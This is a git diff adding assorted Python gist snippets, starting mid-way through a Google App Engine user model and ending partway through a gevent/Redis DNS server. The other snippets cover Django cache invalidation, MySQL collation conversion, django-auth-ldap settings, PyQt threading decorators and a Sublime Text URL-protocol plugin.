+    #: * gae|user_id
+    #: * openid|identifier
+    #: * twitter|username
+    #: * facebook|username
+    auth_id = model.StringProperty(repeated=True)
+    # Flag to persist the auth across sessions for third party auth.
+    auth_remember = model.BooleanProperty(default=False)
+    # Auth token, renewed periodically for improved security.
+    session_id = model.StringProperty(required=True)
+    # Auth token last renewal date.
+    session_updated = model.DateTimeProperty(auto_now_add=True)
+
+    @classmethod
+    def get_by_username(cls, username):
+        return cls.query(cls.username == username).get()
+
+    @classmethod
+    def get_by_auth_id(cls, auth_id):
+        return cls.query(cls.auth_id == auth_id).get()
+
+    @classmethod
+    def create(cls, username, auth_id, **kwargs):
+        """Creates a new user and returns it. If the username already exists,
+        returns None.
+
+        :param username:
+            Unique username.
+        :param auth_id:
+            Authentication id, according the the authentication method used.
+        :param email:
+            Unique email address.
+        :param kwargs:
+            Additional entity attributes.
+        :returns:
+            The newly created user or None if the username already exists.
+        """
+        # Assemble the unique scope/value combinations.
+        unique_username = 'User.username:%s' % username
+        unique_auth_id = 'User.auth_id:%s' % auth_id
+        # Create the unique username, auth_id and email.
+        uniques = [unique_username, unique_auth_id]
+        # TODO add email to parms in tipfy.auth so that
+        # we don't have to use kwargs here
+        if 'email' in kwargs:
+            unique_email = 'User.email:%s' % kwargs['email']
+            uniques.append(unique_email)
+
+        success, existing = Unique.create_multi(uniques)
+
+        if success or DEBUG:
+            kwargs['username'] = username
+            # make this a list so that we can have multiple auth methods.
+            kwargs['auth_id'] = [auth_id]
+            # Generate an initial session id.
+            kwargs['session_id'] = create_session_id()
+            if 'password_hash' in kwargs:
+                # Password is already hashed.
+                kwargs['password'] = kwargs.pop('password_hash')
+            elif 'password' in kwargs:
+                # Password is not hashed: generate a hash.
+                kwargs['password'] = generate_password_hash(kwargs['password'])
+            user = cls(**kwargs)
+            user.put()
+            return user
+        else:
+            # The ordering her is important. Email must come before
+            # auth id or the error return will make little since to the user.
+            if unique_email in existing:
+                raise UniqueConstraintViolation('Email %s already '
+                                                'exists. Try logging in.' % kwargs['email'])
+            if unique_username in existing:
+                raise UniqueConstraintViolation('Username %s already '
+                    'exists' % username)
+
+            if unique_auth_id in existing:
+                raise UniqueConstraintViolation('Auth id %s already '
+                                                'exists' % auth_id)
+
+    def set_password(self, new_password):
+        """Sets a new, plain password.
+
+        :param new_password:
+            A plain, not yet hashed password.
+        :returns:
+            None.
+        """
+        self.password = generate_password_hash(new_password)
+
+    def check_password(self, password):
+        """Checks if a password is valid. This is done with form login
+
+        :param password:
+            Password to be checked.
+        :returns:
+            True is the password is valid, False otherwise.
+        """
+        if check_password_hash(self.password, password):
+            return True
+
+        return False
+
+    def check_session(self, session_id):
+        """Checks if an auth token is valid.
+
+        :param session_id:
+            Token to be checked.
+        :returns:
+            True is the token id is valid, False otherwise.
+        """
+        if self.session_id == session_id:
+            return True
+
+        return False
+
+    def renew_session(self, force=False, max_age=None):
+        """Renews the session id if its expiration time has passed.
+
+        :param force:
+            True to force the session id to be renewed, False to check
+            if the expiration time has passed.
+        :returns:
+            None.
+        """
+        if not force:
+            # Only renew the session id if it is too old.
+            expires = datetime.timedelta(seconds=max_age)
+            force = (self.session_updated + expires < datetime.datetime.now())
+
+        if force:
+            self.session_id = create_session_id()
+            self.session_updated = datetime.datetime.now()
+            self.put()
+
+    def __unicode__(self):
+        """Returns this entity's username.
+
+        :returns:
+            Username, as unicode.
+        """
+        return unicode(self.username)
+
+    def __str__(self):
+        """Returns this entity's username.
+
+        :returns:
+            Username, as unicode.
+        """
+        return self.__unicode__()
+
+    def __eq__(self, obj):
+        """Compares this user entity with another one.
+
+        :returns:
+            True if both entities have same key, False otherwise.
+        """
+        if not obj:
+            return False
+
+        return str(self.key) == str(obj.key)
+
+    def __ne__(self, obj):
+        """Compares this user entity with another one.
+
+        :returns:
+            True if both entities don't have same key, False otherwise.
+        """
+        return not self.__eq__(obj)
\ No newline at end of file
diff --git a/hard-gists/1065196/._snippet.py b/hard-gists/1065196/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1065196/._snippet.py differ
diff --git a/hard-gists/1065196/snippet.py b/hard-gists/1065196/snippet.py
new file mode 100644
index 00000000..3182e19f
--- /dev/null
+++ b/hard-gists/1065196/snippet.py
@@ -0,0 +1,94 @@
+import sys
+import logging
+from optparse import make_option
+
+from django.core.management.base import BaseCommand, CommandError
+
+class Command(BaseCommand):
+    help = ("Invalidates portions of the queryset cache based on the app names"
+            " or models provided as arguments to the command. If no arguments "
+            "are provided, nothing is done. To clear the entire queryset "
+            "cache, use the --all_models option.")
+    args = '[appname appname.ModelName ...]'
+    option_list = BaseCommand.option_list + (
+        make_option(
+            '--all-models', dest='all_models', action='store_true',
+            default=False, help='Invalidate the cache for all models.'
+        ),
+        make_option(
+            '-e', '--exclude', dest='exclude', action='append', default=[],
+            help='App to exclude (use multiple --exclude to exclude multiple '
+                 'apps).'
+        ),
+    )
+    
+    def handle(self, *app_labels, **options):
+        from django.core.cache import cache
+        from django.db.models import get_app, get_apps, get_models, get_model
+        from django.utils.datastructures import SortedDict
+        from johnny.cache import invalidate
+        from johnny.middleware import QueryCacheMiddleware
+        
+        log = logging.getLogger('clear_johnny_cache')
+        
+        # enable queryset cache
+        q = QueryCacheMiddleware()
+        
+        all_models = options.get('all_models')
+        exclude = options.get('exclude')
+        
+        excluded_apps = set(get_app(app_label) for app_label in exclude)
+        app_list = None
+
+        if all_models:
+            if len(app_labels):
+                # FIXME: warn user that specifying apps on the command line when
+                # using -all-models options has no impact
+                pass
+            app_list = SortedDict((app, None) for app in get_apps() if app not in excluded_apps)
+        elif not len(app_labels) == 0:
+            app_list = SortedDict()
+            for label in app_labels:
+                try:
+                    app_label, model_label = label.split('.')
+                    try:
+                        app = get_app(app_label)
+                    except ImproperlyConfigured:
+                        raise CommandError("Unknown application: %s" % app_label)
+
+                    model = get_model(app_label, model_label)
+                    if model is None:
+                        raise CommandError("Unknown model: %s.%s" % (app_label, model_label))
+
+                    if app in app_list.keys():
+                        if app_list[app] and model not in app_list[app]:
+                            app_list[app].append(model)
+                    else:
+                        app_list[app] = [model]
+                except ValueError:
+                    # This is just an app - no model qualifier
+                    app_label = label
+                    try:
+                        app = get_app(app_label)
+                    except ImproperlyConfigured:
+                        raise CommandError("Unknown application: %s" % app_label)
+                    app_list[app] = None
+                    
+        if app_list:
+            # Generate a list of models to be invalidated, and call the Johnny
+            # Cache invalidate command.
+            full_model_list = []
+            for app, model_list in app_list.items():
+                if model_list is None:
+                    model_list = get_models(app)
+                if model_list:            
+                    full_model_list.extend(model_list)
+
+            log.info('Trying to clear cache for %d app(s), %d model(s) to invalidate' % (len(app_list), len(full_model_list)))
+
+            for model in full_model_list:
+                log.info('Invalidating cache for %s' % (model._meta.module_name))            
+                invalidate(model)
+            log.info('Done invalidating')
+        else:
+            log.info('No model to invalidate')
\ No newline at end of file
diff --git a/hard-gists/1068021/._snippet.py b/hard-gists/1068021/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1068021/._snippet.py differ
diff --git a/hard-gists/1068021/snippet.py b/hard-gists/1068021/snippet.py
new file mode 100644
index 00000000..0900b446
--- /dev/null
+++ b/hard-gists/1068021/snippet.py
@@ -0,0 +1,21 @@
+#! /usr/bin/env python
+import MySQLdb
+
+host = "localhost"
+passwd = ""
+user = "root"
+dbname = "mydbname"
+
+db = MySQLdb.connect(host=host, user=user, passwd=passwd, db=dbname)
+cursor = db.cursor()
+
+cursor.execute("ALTER DATABASE `%s` CHARACTER SET 'utf8' COLLATE 'utf8_unicode_ci'" % dbname)
+
+sql = "SELECT DISTINCT(table_name) FROM information_schema.columns WHERE table_schema = '%s'" % dbname
+cursor.execute(sql)
+
+results = cursor.fetchall()
+for row in results:
+    sql = "ALTER TABLE `%s` convert to character set DEFAULT COLLATE DEFAULT" % (row[0])
+    cursor.execute(sql)
+db.close()
diff --git a/hard-gists/1068255/._snippet.py b/hard-gists/1068255/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1068255/._snippet.py differ
diff --git a/hard-gists/1068255/snippet.py b/hard-gists/1068255/snippet.py
new file mode 100644
index 00000000..05aeff7c
--- /dev/null
+++ b/hard-gists/1068255/snippet.py
@@ -0,0 +1,37 @@
+from django.db import connections
+from django.db.models.query import QuerySet
+
+class ApproxCountQuerySet(QuerySet): 
+    """Counting all rows is very expensive on large Innodb tables. This 
+    is a replacement for QuerySet that returns an approximation if count()
+    is called with no additional constraints. In all other cases it should
+    behave exactly as QuerySet.
+    
+    Only works with MySQL. Behaves normally for all other engines.
+    """ 
+ 
+    def count(self): 
+        # Code from django/db/models/query.py 
+         
+        if self._result_cache is not None and not self._iter: 
+            return len(self._result_cache) 
+
+        is_mysql = 'mysql' in connections[self.db].client.executable_name.lower()
+ 
+        query = self.query 
+        if (is_mysql and not query.where and 
+                query.high_mark is None and 
+                query.low_mark == 0 and 
+                not query.select and  
+                not query.group_by and 
+                not query.having and 
+                not query.distinct): 
+            # If query has no constraints, we would be simply doing
+            # "SELECT COUNT(*) FROM foo". Monkey patch so the we 
+            # get an approximation instead. 
+            cursor = connections[self.db].cursor() 
+            cursor.execute("SHOW TABLE STATUS LIKE %s", 
+                    (self.model._meta.db_table,)) 
+            return cursor.fetchall()[0][4]
+        else: 
+            return self.query.get_count(using=self.db)
\ No newline at end of file
diff --git a/hard-gists/1068868/._snippet.py b/hard-gists/1068868/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1068868/._snippet.py differ
diff --git a/hard-gists/1068868/snippet.py b/hard-gists/1068868/snippet.py
new file mode 100644
index 00000000..bfef49b3
--- /dev/null
+++ b/hard-gists/1068868/snippet.py
@@ -0,0 +1,76 @@
+"""
+Example of installing django-taggit onto a Zinnia Entry model
+(django-blog-zinnia) which traditionally uses django-tagging.
+
+The django-taggit manager is installed on the tagged_as attribute because
+tagged is already taken by the existing django-tagging installation (which we don't remove).
+
+"""
+
+from django.contrib import admin
+from django.db import models
+from django.db.models import get_model
+from django.template.defaultfilters import slugify
+from django.utils.translation import ugettext_lazy as _
+
+from taggit.forms import TagField
+
+# you don't need to use the taggit_autocomplete library if you don't want.
+# instead use taggit.managers.TaggableManager
+from taggit_autocomplete.managers import TaggableManager
+from taggit_autocomplete.widgets import TagAutocomplete
+
+from zinnia.admin import entry
+from zinnia.admin.forms import EntryAdminForm
+
+class TaggitModel(models.Model):
+    tagged_as = TaggableManager()
+
+    class Meta:
+        abstract = True
+
+class TaggitEntryForm(EntryAdminForm):
+
+    tagged_as = TagField(widget=TagAutocomplete)
+    def __init__(self, *args, **kwargs):
+        super(TaggitEntryForm, self).__init__(*args, **kwargs)
+
+class TaggitZinniaEntry(get_model('zinnia','entry'), TaggitModel):
+    """
+    A Zinnia entry that uses django taggit instead of django-tagging ugh!
+
+    """
+
+    class Meta:
+        proxy = True
+        verbose_name = _("Entry")
+        verbose_name_plural = _("Entries")
+
+
+    def save(self):
+        """
+        Put the taggit tags into the django-tagging field. So they are in sync.
+
+        """
+        if not self.slug:
+            self.slug = slugify(self.title)
+
+        super(TaggitZinniaEntry, self).save()
+
+# monkey patch zinnia to use this entry instead.
+models.Entry = TaggitZinniaEntry
+
+class MyZinniaAdmin(entry.EntryAdmin):
+    """
+    Zinnia admin shows a tagged_as field (to avoid clash with tagged), which has the taggit manager.
+
+    """
+    form = TaggitEntryForm
+
+
+# now install our shiny new zinnia-entry into the admin.
+admin.site.unregister(get_model('zinnia', 'entry'))
+admin.site.register(TaggitZinniaEntry, MyZinniaAdmin)
+
+# all done?! Not so fast, you might want to install some signals that keep tagging and taggit in sync 
+# if keeping them in sync is important to you.
\ No newline at end of file
diff --git a/hard-gists/106c49a3ae6d420937aa/._snippet.py b/hard-gists/106c49a3ae6d420937aa/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/106c49a3ae6d420937aa/._snippet.py differ
diff --git a/hard-gists/106c49a3ae6d420937aa/snippet.py b/hard-gists/106c49a3ae6d420937aa/snippet.py
new file mode 100644
index 00000000..0119707e
--- /dev/null
+++ b/hard-gists/106c49a3ae6d420937aa/snippet.py
@@ -0,0 +1,98 @@
+# -*- coding: utf-8 -*-
+
+from PyQt4 import QtCore
+from functools import wraps
+
+class Exception_StopQThread(Exception):
+    pass
+
+class Runnable(QtCore.QRunnable):
+    def __init__(self, func, args, kwargs):
+        QtCore.QRunnable.__init__(self)
+        self.func = func
+        self.args = args
+        self.kwargs = kwargs
+    def run(self):
+        try:
+            self.func(*self.args, **self.kwargs)
+        except Exception_StopQThread:
+            #Return using stop function
+            pass
+        except:
+            #TODO: send the exception to debug
+            pass
+
+pool = QtCore.QThreadPool()
+pool.setMaxThreadCount(1) #serial execution
+
+def AsQThread(func):
+    """
+    Decorator to execute a func inside the QThreadPool
+    """
+    @wraps(func)
+    def AsyncFunc(*args, **kwargs):
+        runnable = Runnable(func = func, args = args, kwargs = kwargs)
+        global pool
+        pool.start(runnable)
+        
+    return AsyncFunc
+    
+_STOP = False
+
+def check_stop():
+    global _STOP
+    if _STOP == True:
+        raise Exception_StopQThread()
+
+def stop():
+    global _STOP
+    global pool
+    _STOP = True
+    pool.waitForDone()
+    _STOP = False
+
+class SignalCaller(QtCore.QObject):
+    signal = QtCore.pyqtSignal()
+    def __init__(self, func, args = (), kwargs = {}):
+        QtCore.QObject.__init__(self)
+        self.func = func
+        self.args = args
+        self.kwargs = kwargs
+        self.signal.connect(self.main)
+    def main(self):
+        self.func(*self.args, **self.kwargs)
+    def run(self, *args, **kwargs):
+        self.args = args
+        self.kwargs = kwargs
+        self.signal.emit()
+        
+def GUI_Safe(func):
+    """
+    Decorator to execute func into the GUI thread
+    """
+    S = SignalCaller(func)
+    return S.run
+    
+#Test code for Ipython
+#%pylab qt
+#import time
+#import QThreadDecorators as QTh
+#
+#x = arange(20)
+#y = x * nan
+#
+#@QTh.GUI_Safe
+#def myplot():
+#    plot(x, y, 'bo-')
+#
+#@QTh.AsQThread
+#def myLoop():
+#    for i, xi in enumerate(x):
+#        y[i] = xi**2
+#        myplot()
+#        time.sleep(1)
+#        QTh.check_stop()
+#
+#myLoop()
+##Wait some time...
+#QTh.stop()
\ No newline at end of file
diff --git a/hard-gists/1072977/._snippet.py b/hard-gists/1072977/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1072977/._snippet.py differ
diff --git a/hard-gists/1072977/snippet.py b/hard-gists/1072977/snippet.py
new file mode 100644
index 00000000..62eb6f12
--- /dev/null
+++ b/hard-gists/1072977/snippet.py
@@ -0,0 +1,57 @@
+############################## django-auth-ldap ##############################
+import ldap
+from django_auth_ldap.config import LDAPSearch, PosixGroupType
+
+# django-auth-ldap configuration starts here
+AUTH_LDAP_SERVER_URI = "ldap://ldap.els03.loc ldap://ldap.zbw03.loc ldap://ldap.cvg03.loc"
+
+#AUTH_LDAP_USER_DN_TEMPLATE = "uid=%(user)s,ou=People,o=loc"
+# JW is in ou=Admin,o=loc so we search over o=loc to find him
+AUTH_LDAP_USER_SEARCH = LDAPSearch("o=loc",
+   ldap.SCOPE_SUBTREE, "(uid=%(user)s)")
+
+# Set up the basic group parameters.
+AUTH_LDAP_GROUP_SEARCH = LDAPSearch("ou=Groups,o=loc",
+   ldap.SCOPE_SUBTREE, "(objectClass=posixGroup)"
+)
+AUTH_LDAP_GROUP_TYPE = PosixGroupType()
+
+# Only users in this group can log in.
+AUTH_LDAP_REQUIRE_GROUP = "cn=it,ou=Groups,o=loc"
+
+# Populate the Django user from the LDAP directory.
+AUTH_LDAP_USER_ATTR_MAP = { 
+   "first_name": "givenName",
+   "last_name":  "sn",
+   "email":      "mail"
+}
+
+# Users in the reconro group who are *not* in it, or neteng
+# will have to be manually activated by someone with  admin
+# privileges manually. Do it from http://netrecon.loc/admin
+AUTH_LDAP_USER_FLAGS_BY_GROUP = { 
+   "is_active":    "cn=it,ou=Groups,o=loc",
+   "is_staff":     "cn=neteng,ou=Groups,o=loc",
+   "is_superuser": "cn=admin,ou=Groups,o=loc",
+}
+
+# This should only be done once
+AUTH_LDAP_ALWAYS_UPDATE_USER = False
+
+# Use LDAP group membership to calculate group permissions.
+AUTH_LDAP_FIND_GROUP_PERMS = True
+
+# Cache group memberships for an hour to minimize LDAP traffic
+AUTH_LDAP_CACHE_GROUPS = True
+AUTH_LDAP_GROUP_CACHE_TIMEOUT = 3600
+
+# Use ldaps:// because it is mo'betta
+AUTH_LDAP_START_TLS = True
+
+# Keep ModelBackend around for per-user permissions and maybe a local
+# superuser.
+AUTHENTICATION_BACKENDS = ( 
+   'django_auth_ldap.backend.LDAPBackend',
+   'django.contrib.auth.backends.ModelBackend',
+)
+############################ end django-auth-ldap ############################
diff --git a/hard-gists/1074124/._snippet.py b/hard-gists/1074124/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1074124/._snippet.py differ
diff --git a/hard-gists/1074124/snippet.py b/hard-gists/1074124/snippet.py
new file mode 100644
index 00000000..9bec1355
--- /dev/null
+++ b/hard-gists/1074124/snippet.py
@@ -0,0 +1,49 @@
+# Python/Twisted/Redis backed DNS server - resolves from NAME to IP addrs
+# fallback to google or any other DNS server to resolv domains not present on Redis
+# to set a new domain on redis, just issue a SET domain.tld ip_addr
+# run with twistd -ny txredns.tac
+# gleicon 2011
+
+from twisted.names import dns, server, client, cache
+from twisted.application import service, internet
+from twisted.internet import defer
+from twisted.python import log
+import txredisapi
+
+class RedisResolverBackend(client.Resolver):
+    def __init__(self, redis, servers=None):
+        self.redis = redis
+        client.Resolver.__init__(self, servers=servers)
+        self.ttl = 5
+        
+    @defer.inlineCallbacks
+    def _get_ip_addr(self, hostname, timeout):
+        ip = yield self.redis.get(hostname)
+        log.msg('redis: %s'% ip)
+        r = None
+        if ip:
+            defer.returnValue([(dns.RRHeader(hostname, dns.A, dns.IN, self.ttl, dns.Record_A(ip, self.ttl)),), (), ()])
+        else:
+            i = yield self._lookup(hostname, dns.IN, dns.A, timeout)
+            defer.returnValue(i)
+        
+    def lookupAddress(self, name, timeout = None):
+        return self._get_ip_addr(name, timeout)
+       
+def create_application():
+    rd = txredisapi.lazyRedisConnectionPool()
+    redisBackend = RedisResolverBackend(rd, servers=[('8.8.8.8', 53)])
+
+    application = service.Application("txdnsredis")
+    srv_collection = service.IServiceCollection(application)
+
+    dnsFactory = server.DNSServerFactory(caches=[cache.CacheResolver()], clients=[redisBackend])
+
+    internet.TCPServer(53, dnsFactory).setServiceParent(srv_collection)
+    internet.UDPServer(53, dns.DNSDatagramProtocol(dnsFactory)).setServiceParent(srv_collection)
+    return application
+
+# .tac app
+application = create_application()
+
+	
diff --git a/hard-gists/1074202/._snippet.py b/hard-gists/1074202/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1074202/._snippet.py differ
diff --git a/hard-gists/1074202/snippet.py b/hard-gists/1074202/snippet.py
new file mode 100644
index 00000000..ea4e800f
--- /dev/null
+++ b/hard-gists/1074202/snippet.py
@@ -0,0 +1,307 @@
+#!/usr/bin/env python
+#coding: utf8
+#################################### IMPORTS ###################################
+
+# Std Libs
+import os
+import sys
+import re
+
+import subprocess
+import functools
+
+from os.path import normpath
+
+from urlparse import urlparse, parse_qsl
+from urllib   import unquote,  urlencode, quote, pathname2url as p2u
+
+
+from xml.etree.ElementTree import Element, tostring
+from json import dumps as dumpsj, loads as loadsj
+
+# Sublime Libs
+import sublime
+import sublime_plugin
+
+################################### BINDINGS ###################################
+# Adjust to taste and place in `Default ($PLATFORM).sublime-keymap files
+
+KEYS =  [ { "command": "create_protocol_link",
+               "args": {"protocol": "sblm"},
+               "keys": ["ctrl+alt+shift+l"] },
+
+          { "command": "create_protocol_link",
+               "args": {"protocol": "txmt"},
+               "keys": ["ctrl+shift+alt+m"] } ]
+
+################################### CONSTANTS ##################################
+
+DEBUG         = 0
+ON_LOAD       = sublime_plugin.all_callbacks['on_load']
+PROTOCOLS     = ('txmt', 'sblm') # ://
+
+################### TXMT & SBLM:// AUTO REGISTRY FOR WINDOWS ###################
+
+WINDOWS = sublime.platform() == 'windows'
+
+if WINDOWS:
+    from _winreg import (OpenKey, QueryValueEx, CreateKey, SetValueEx, SetValue,
+                          KEY_ALL_ACCESS, HKEY_CLASSES_ROOT, REG_SZ)
+
+    for protocol_name in PROTOCOLS:
+        try:
+            with OpenKey( HKEY_CLASSES_ROOT,
+                         r'%s\shell\open\command' % protocol_name) as key:
+                val, _ = QueryValueEx(key, None)
+
+                # What if you have a portable sublime? and you move it
+                # somewhere?
+                if DEBUG or sys.executable not in val:
+                    raise WindowsError
+
+        except WindowsError:
+            with CreateKey(HKEY_CLASSES_ROOT, protocol_name) as key:
+                def setvalue(value='', subkey=None, value_name=None):
+                    if value_name:
+                        with OpenKey(key, None, 0, KEY_ALL_ACCESS) as h:
+                            SetValueEx(h, value_name, 0, REG_SZ, value)
+                    else:
+                        SetValue(key, subkey, REG_SZ, value)
+
+                setvalue('URL:%s Protocol Handler' % protocol_name)
+                setvalue(value_name='URL Protocol', value='')
+
+                # Can't use string formatting:             {           %s  }
+                #                                          v           v
+                setvalue (
+                    (r'"$EXE" --command "open_protocol_url {\"url\": \"%1\"}"'
+                    .replace('$EXE', sys.executable)), r'shell\open\command')
+
+                print ('Added %r SublimeProtocol to windows'
+                       ' registry' % protocol_name )
+
+################################ GENERIC HELPERS ###############################
+
+if not WINDOWS:
+    def quote_arg(arg):
+        for char in ['\\', '"', '$', '`']: arg = arg.replace(char, '\\' + char)
+        return '"%s"' % arg
+
+    def args_2_string(args):
+        return ' '.join(quote_arg(a) for a in args)
+else:
+    args_2_string = subprocess.list2cmdline
+
+class one_shot(object):
+    def __init__(self):
+        self.callbacks.append(self)
+        self.remove = lambda: self.callbacks.remove(self)
+
+def on_load(f=None, window=None, encoded_row_col=True):
+    window = window or sublime.active_window()
+
+    def wrapper(cb):
+        if not f: return cb(window.active_view())
+        view = window.open_file(f, encoded_row_col)
+
+        if view.is_loading():
+            class set_on_load(one_shot):
+                callbacks = ON_LOAD
+
+                def on_load(self, view):
+                    try:     cb(view)
+                    finally: self.remove()
+
+            set_on_load()
+        else: cb(view)
+
+    return wrapper
+
+def open_file_path(fn):
+    """
+    Formats a path as /C/some/path/on/windows/no/colon.txt that is suitable to
+    be passed as the `file` arg to the `open_file` command.
+    """
+    fn = normpath(fn)
+    fn = re.sub('^([a-zA-Z]):', '/\\1', fn)
+    fn = re.sub(r'\\', '/', fn)
+    return fn
+
+def encode_for_command_line(command=None, args=None, **kw):
+    """
+    Formats a command as expected by --command. Does NOT escape. This is the
+    same format that sublime.log_commands(True) will output to the console.
+
+    eg.
+        `command: show_panel {"panel": "console"}`
+
+        This command will format the `show_panel {"panel": "console"}` part.
+
+    May be used to create the command to register the Protocol Handler with.
+
+    eg.
+
+        >>> repr(subprocess.list2cmdline ([
+        ... sys.executable, '--command',
+        ... encode_for_command_line('open_protocol_url', url="%1")] )))
+        '"C:\\Program Files\\Sublime Text 2\\sublime_text.exe" --command "open_protocol_url {\\"url\\": \\"%1\\"}"'
+    """
+    if isinstance(command, dict):
+        args    = command['args']
+        command = command['command']
+
+    if kw:
+        if args: args.update(kw)
+        else: args = kw
+
+    return '%s %s' % (command, dumpsj(args))
+
+def find_and_open_file(f):
+    """
+    Looks in open windows for `f` and focuses the related view.
+    Opens file if not found. Returns associated view in both cases.
+    """
+    for w in sublime.windows():
+        for v in w.views():
+            if normpath(f) == v.file_name():
+                w.focus_view(v)
+                return v
+
+    return sublime.active_window().open_file(f)
+
+#################################### HELPERS ###################################
+
+def create_sublime_url(fn=None, row=1, col=1, commands=[]):
+    """
+    Creates a sblm:// url with the `file`:`row`:`col` urlencoded as the `path`.
+    It urlencodes JSON encoded commands into the query string.
+
+    `commands` must be a sequence of length 2 sequences.
+
+        [(cmd_type"", json_array[]), ...]
+
+    `cmd_type` is a key for the type of command:
+
+        {'cmd': TextCommand,  'wcmd': WindowCommand }
+
+    `json_array` expects a sequence, which will be encoded as a JSON array, the
+    first item representing a command name and the next a JSON object for the
+    command arguments.
+
+        [command_name"", command_args{}]
+
+    >>> create_sublime_url('C:\\example.txt', 25, 10, [('wcmd', ['show_panel', {'panel': 'replace'}])])
+    'sblm:///C/example.txt%3A26%3A11?wcmd=%5B%22show_panel%22%2C+%7B%22panel%22%3A+%22replace%22%7D%5D'
+    """
+    sblm     = 'sblm://%s?%s'
+    if DEBUG:
+        commands = [('wcmd', ['show_panel', {'panel': 'replace'}])]
+
+    if fn:
+        # In a format window.open_file(f, sublime.ENCODED_POSITION) understands
+        path = quote('%s:%s:%s' % (open_file_path(fn), row, col))
+    else:
+        # Just send commands to run on the currently active view
+        path = ''
+
+    return sblm % (path, urlencode([(k, dumpsj(v)) for (k,v) in  commands]))
+
+def create_textmate_url(fn, row, col):
+    """
+    http://blog.macromates.com/2007/the-textmate-url-scheme/
+
+    `txmt://open?url=%(url)s&line=%(line)s&column=%(column)s`
+
+    `url`
+
+        The actual file to open (i.e. a file://… URL), if you leave out this
+        argument, the frontmost document is implied.
+
+    `line`
+
+        Line number to go to (one based).
+
+    `column`
+
+        Column number to go to (one based).
+    """
+    txmt  = 'txmt://open?%s'
+
+    return txmt % (urlencode( [ ('url',   'file://' + p2u(open_file_path(fn))),
+                                ('line',   row) ,
+                                ('column', col) ]))
+
+URL_CREATORS = {'sblm': create_sublime_url, 'txmt': create_textmate_url}
+
+################################### COMMANDS ###################################
+
+class ClipboardOpenProtocolUrlCommandline(sublime_plugin.WindowCommand):
+    def run(self, url_ph="%1", as_repr=False):
+        """
+        >>> window.run_command('clipboard_open_protocol_url_commandline')
+        >>> view.run_command('paste')
+        "C:\Program Files\Sublime Text 2\sublime_text.exe" --command "open_protocol_url {\"url\": \"%1\"}"
+        """
+
+        sublime.set_clipboard((repr if as_repr else lambda x: x) (
+                args_2_string ([sys.executable, '--command',
+                encode_for_command_line('open_protocol_url', url=url_ph)]) ))
+
+class CreateProtocolLink(sublime_plugin.TextCommand):
+    def is_enabled(self, **args):
+        return self.view.file_name() and self.view.sel()
+
+    def run(self, edit, paste_into=None, protocol='sblm'):
+        """
+        If `paste_into` specified then that file will be opened for pasting the
+        link into. A convenience.
+        """
+        view        = self.view
+        fn          = view.file_name()
+        row, col    = view.rowcol(view.sel()[0].begin())
+        url_creator = URL_CREATORS.get(protocol)
+
+        a = Element('a', {'href':  url_creator(fn, row+1, col+1)})
+        a.text = '${1:%s}' % view.substr(view.word(view.sel()[0]))
+
+        sublime.set_clipboard ( tostring(a) )
+        if DEBUG: paste_into = r"C:\Users\nick\AppData\Roaming\Sublime Text 2\Packages\SublimeProtocol\test.html"
+        if paste_into: find_and_open_file(paste_into)
+
+class OpenProtocolUrl(sublime_plugin.WindowCommand):
+    def run(self, url=None):
+
+        window = self.window
+        txmt   = url.startswith('txmt')
+        p      = urlparse('http' + url[4:])
+        cmds   = parse_qsl(p.query)
+
+        if txmt:
+            txmt = dict(cmds)
+            url  = txmt.get('url')
+
+            if url: f = unquote(urlparse(url).path)
+            else:   f = window.active_view().file_name()
+
+            f += ':%(line)s:%(column)s' % txmt
+        else:
+            f =  unquote(p.path)
+
+        @on_load(f)
+        def do(view):
+            if txmt: return
+            runners = {'cmd': view,  'wcmd': window}
+
+            for cmd_type, cmd in cmds:
+                cmd, args = loadsj(cmd)
+                runner    = runners.get(cmd_type)
+
+                if runner:
+                    if DEBUG:
+                        # Formatted like sublime.log_commands(True)
+                        print 'command: %s' % encode_for_command_line(cmd, args)
+
+                    # Bug: command can't be unicode
+                    runner.run_command(cmd.encode('utf8'), args)
+
+################################################################################
\ No newline at end of file
diff --git a/hard-gists/1074227/._snippet.py b/hard-gists/1074227/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1074227/._snippet.py differ
diff --git a/hard-gists/1074227/snippet.py b/hard-gists/1074227/snippet.py
new file mode 100644
index 00000000..579eb92e
--- /dev/null
+++ b/hard-gists/1074227/snippet.py
@@ -0,0 +1,61 @@
+# dns server using dnslib and gevent
+# based on https://bitbucket.org/paulc/dnslib/src/80d85555aae4/src/server/gevent_server.py
+# set the key as
+# set IP:name ip_addr
+# set TXT:name txtfield
+# fallback on gevent's dns resolver
+# gleicon 2011
+
+
+import gevent
+from gevent import socket
+import gevent.dns;
+from gevent import monkey;
+monkey.patch_socket()
+
+import urllib2,sys
+import redis
+import random
+from dnslib import *
+
+
+AF_INET = 2
+SOCK_DGRAM = 2
+
+s = socket.socket(AF_INET,SOCK_DGRAM)
+s.bind(('',53))
+
+def dns_handler(s, peer, data, r):
+    request = DNSRecord.parse(data)
+    id = request.header.id
+    qname = request.q.qname
+    qtype = request.q.qtype
+    IP = r.get("IP:%s" % qname)
+    TXT = r.get("TXT:%s" % qname)
+    if not IP:
+        try:
+            IP = socket.gethostbyname(str(qname))
+        except Exception, e:
+            print 'Host not found'
+            IP = '0.0.0.0'
+    print "Request (%s): %r (%s) - Response: %s" % (str(peer), qname.label, QTYPE[qtype], IP)
+    reply = DNSRecord(DNSHeader(id=id,qr=1,aa=1,ra=1),q=request.q)
+    if qtype == QTYPE.A:
+        reply.add_answer(RR(qname,qtype,rdata=A(IP)))
+    elif qtype == QTYPE['*']:
+        reply.add_answer(RR(qname,QTYPE.A,rdata=A(IP)))
+        reply.add_answer(RR(qname,QTYPE.MX,rdata=MX(IP)))
+        reply.add_answer(RR(qname,QTYPE.TXT,rdata=TXT(TXT)))
+    else:
+        reply.add_answer(RR(qname,QTYPE.CNAME,rdata=CNAME(TXT)))
